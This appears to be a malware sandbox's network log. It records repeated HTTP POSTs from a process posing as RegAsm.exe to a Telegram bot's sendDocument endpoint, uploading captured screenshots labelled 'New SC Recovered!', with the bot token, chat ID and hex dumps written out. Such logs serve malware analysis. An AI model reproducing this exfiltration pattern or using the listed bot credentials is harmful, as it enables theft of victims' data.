2024-05-24 05:44:15 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:44:15 UTC	16355	OUT	Data Raw: 44 7e ad f9 51 f6 98 fd 5b f2 a2 c0 4d 45 41 f6 98 fd 5b f2 a3 ed 31 ff 00 b5 f9 51 60 27 a2 a0 fb 4c 5e ad f9 51 f6 98 bd 5b f2 a2 cc 09 e8 cd 41 f6 98 bf da fc a8 fb 54 5e ad f9 53 b0 c9 e8 a8 3e d5 17 fb 5f 95 1f 6a 8b fd af ca 8b 01 33 ff 00 c7 bc df ee 7f 51 55 6c ff 00 d6 9f a5 39 ee 90 c4 ea b9 cb 0c 72 2a 1b 79 56 27 25 b3 8c 50 93 b3 15 8b d4 b5 07 da a2 f5 6f ca 8f b5 45 ea 7f 2a 2c 32 6a 5a 83 ed 50 fa b7 e5 47 da a1 f5 3f 95 01 62 7a 4a 87 ed 70 fa 9f ca 8f b5 c3 ea 7f 2a 2c 16 27 a2 a0 fb 54 3f de 6f ca 8f b5 43 ea df 95 16 02 7a 2a 0f b5 c3 ea df 95 1f 6b 87 d5 bf 2a 2c c2 c4 f4 54 1f 6b 83 d5 bf 2a 3e d7 07 f7 9b f2 a5 66 16 27 a2 a0 fb 5c 1f de 6f ca 8f b5 c1 fd e6 fc a8 b3 0b 13 d2 d4 1f 6b b7 fe f3 7e 54 7d ae 0e ee df 95 16 63 b1 35 2d Data Ascii: D~Q[MEA[1Q`'L^Q[AT^S>_j3QUl9ryV'%PoE,2jZPG?bzJp,'T?oCzk,Tk>f'\ok~T}c5-
2024-05-24 05:44:15 UTC	15447	OUT	Data Raw: 52 51 45 00 14 51 45 03 12 8a 28 a0 02 8a 29 28 00 a2 8a 28 18 51 45 14 00 94 51 45 03 0a 4a 28 a6 01 45 14 94 0c 28 a2 8a 00 29 29 69 33 40 c2 8a 4c 9a 4a 02 c2 e4 52 66 8a 4a 06 14 94 b4 94 0c 29 29 68 a0 62 51 45 14 00 51 45 25 03 0a 4a 5a 4a 00 28 a2 8a 06 25 14 51 40 09 45 14 50 30 a4 a0 d1 40 c2 92 96 92 80 0a 4a 28 a0 61 49 45 14 0c 29 29 69 0d 00 14 94 b4 94 0c 28 a2 92 81 85 25 2d 06 80 12 8a 28 a0 62 51 45 14 00 52 51 45 03 12 8a 28 a6 30 a2 8a 3a 52 01 28 a3 de 8a 06 25 14 b4 94 00 52 7e 14 b4 94 0c 28 a2 92 98 c2 8c 51 45 20 0a 4a 5a 4a 06 14 9e f4 bc d2 53 00 eb 47 3e 94 51 48 62 51 4b 49 f8 53 00 a4 fa 52 fd 28 a0 67 53 45 14 54 1e 08 51 56 f4 eb 23 7d 3b 44 1f 61 54 dd 9c 67 3c 8f f1 ab 9f d8 84 1c 1b 8c 1f f7 3f fa f5 c9 5b 1b 42 84 b9 6a Data Ascii: RQEQE()((QEQEJ(E())i3@LJRfJ))hbQEQE%JZJ(%Q@EP0@J(aIE))i(%-(bQERQE(0:R(%R~(QE JZJSG>QHbQKISR(gSETQV#};DaTg<?[Bj
2024-05-24 05:44:15 UTC	1731	OUT	Data Raw: 43 a3 89 48 01 8a 48 c9 bc 0e 9b 80 20 37 e3 9a 9f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 89 ac 2d 5a 16 88 c5 94 69 7c e2 37 1f bf bb 76 7a fa 8a b3 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 f9 f0 ff 00 cf 54 ff 00 be 85 1e 7c 3f f3 d5 3f ef a1 40 12 51 51 Data Ascii: CHH 7z(}-Zi\|7vzQT\|??@QQT\|??@QQT\|??@QQT\|??@QQT\|??@QQT\|??@QQT\|??@QQT\|??@QQT\|??@QQ
2024-05-24 05:44:15 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 31 65 63 65 66 35 38 38 37 34 38 2d 2d 0d 0a Data Ascii: -----------------------------8dcb1ecef588748--
2024-05-24 05:44:15 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:15 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:15 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49719	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:44:24 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcb6c88add5f77 Host: api.telegram.org Content-Length: 66754 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:44:24 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:24 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 36 63 38 38 61 64 64 35 66 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 36 63 38 38 61 64 64 35 66 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 30 37 2f 32 30 32 34 20 30 39 3a 35 36 3a 30 31 0a 55 73 65 72 Data Ascii: -----------------------------8dcb6c88add5f77Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcb6c88add5f77Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/07/2024 09:56:01User
2024-05-24 05:44:24 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:44:24 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:44:24 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:44:24 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:44:24 UTC	1168	OUT	Data Raw: bc 2b 7a 8a c1 a2 a6 51 52 56 64 4e 0a 6a cc f4 cd 37 53 bb b9 6d af 79 b6 04 19 79 0e d0 71 e9 bb af eb 59 5e 2a f1 3c 12 5a bd 85 84 82 43 20 c4 92 2f 40 3d 07 ad 71 14 57 23 c1 a9 d5 55 2a 3b db 64 6d 4a 6e 95 37 05 d7 a8 51 45 15 dc 40 56 be 91 aa 2c 09 f6 79 ce 13 f8 5b d3 da 99 0f 87 35 79 e1 49 a3 b4 dd 1c 8a 19 4f 98 83 20 f2 3b d3 ff 00 e1 17 d6 bf e7 cb ff 00 22 a7 f8 d2 95 37 25 66 8c e7 c9 25 66 ce bf 4c d5 2f 26 64 86 2b b1 e5 ff 00 7f 0a 4a af b3 1e 45 47 e2 2f 14 5b 5a 5a 3d b5 94 c2 6b 96 05 77 29 c8 4f 7c f7 35 ca 7f c2 2f ad 7f cf 97 fe 45 4f f1 a3 fe 11 7d 6b fe 7c bf f2 2a 7f 8d 71 cf 00 ea cd 4a a3 6d 2e 86 b4 2a aa 31 71 4f 57 d4 c7 a2 b4 86 83 aa 30 04 5a f0 79 fb eb fe 35 9f 2c 6f 14 af 14 83 0e 84 ab 0f 42 2b b5 a6 84 9a 63 68 a2 Data Ascii: +zQRVdNj7SmyyqY^<ZC /@=qW#U;dmJn7QE@V,y[5yIO ;"7%f%fL/&d+JEG/[ZZ=kw)O\|5/EO}k\|qJm.1qOW0Zy5,oB+ch
2024-05-24 05:44:24 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 36 63 38 38 61 64 64 35 66 37 37 2d 2d 0d 0a Data Ascii: -----------------------------8dcb6c88add5f77--
2024-05-24 05:44:24 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:24 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49720	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:44:51 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcc4c57a67a1f1 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:44:51 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:51 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 34 63 35 37 61 36 37 61 31 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 34 63 35 37 61 36 37 61 31 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 32 35 2f 32 30 32 34 20 30 35 3a 30 39 3a 31 39 0a 55 73 65 72 Data Ascii: -----------------------------8dcc4c57a67a1f1Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcc4c57a67a1f1Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/25/2024 05:09:19User
2024-05-24 05:44:51 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:44:51 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:44:51 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:44:51 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:44:51 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:44:51 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 34 63 35 37 61 36 37 61 31 66 31 2d 2d 0d 0a Data Ascii: -----------------------------8dcc4c57a67a1f1--
2024-05-24 05:44:51 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:51 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49721	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:44:54 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcc78492d93770 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:44:54 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:54 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 37 38 34 39 32 64 39 33 37 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 37 38 34 39 32 64 39 33 37 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 32 38 2f 32 30 32 34 20 31 37 3a 30 32 3a 31 31 0a 55 73 65 72 Data Ascii: -----------------------------8dcc78492d93770Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcc78492d93770Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/28/2024 17:02:11User
